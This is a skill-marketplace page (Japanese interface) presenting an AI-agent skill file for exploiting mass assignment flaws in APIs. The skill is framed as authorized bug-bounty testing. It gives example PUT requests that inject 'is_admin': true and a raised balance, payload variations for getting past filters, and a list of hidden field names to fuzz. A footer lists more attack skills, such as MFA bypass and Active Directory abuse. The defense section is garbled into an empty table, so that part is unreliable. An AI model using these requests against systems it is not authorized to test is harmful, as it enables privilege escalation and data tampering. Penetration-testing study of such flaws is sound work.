本文へ移動
cccskills
無料GitHub で公開

mass-assignment-exploitation

Exploit Mass Assignment vulnerabilities in APIs and web frameworks to inject unauthorized parameters. This skill details how attackers uncover hidden fields and manipulate JSON or HTTP bodies to elevate privileges or tamper with data logic.

インストール方法を見る

含まれるファイル(3)

  • SKILL.md5.2 KB
  • evals/evals.json542 B
  • scripts/process.py7.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

API Mass Assignment Exploitation

When to Use

  • When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
  • To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Object Inspection

# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>

# Response {
  "id": 123,
  "username": "tester",
  "email": "tester@example.com",
  "is_admin": false,
  "balance": 0.00
}

Phase 2: Injecting Hidden Fields in PUT/POST Requests

# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>

{
  "username": "tester2",
  "is_admin": true,
  "balance": 9999.00
}

Phase 3: Bypassing Filters using Payload Variations

// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }

Phase 4: Fuzzing for Hidden Fields

If the response doesn't leak internal field names, fuzz using common patterns.

# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit

Decision Point 🔀

flowchart TD
    A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
    B -->|Yes| C[Re-inject in POST/PUT ]
    B -->|No| D[Fuzz Common Hidden Fields ]
    C --> E[Verify Update/PrivEsc ]

🔵 Blue Team Detection & Defense

  • Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Mass Assignment Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

💰 Industry Bounty Payout Statistics (2024-2025)

Company/PlatformTotal PaidHighest SingleYear
Google VRP$17.1M$250,000 (CVE-2025-4609 Chrome sandbox escape)2025
Microsoft$16.6M(Not disclosed)2024
Google VRP$11.8M$100,115 (Chrome MiraclePtr Bypass)2024
HackerOne (all programs)$81M$100,050 (crypto firm)2025
Meta/Facebook$2.3Mup to $300K (mobile code execution)2024
Crypto.com (HackerOne)$2M program$2M max2024
1Password (Bugcrowd)$1M max$1M (highest Bugcrowd ever)2024
Samsung$1M max$1M (critical mobile flaws)2025

Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する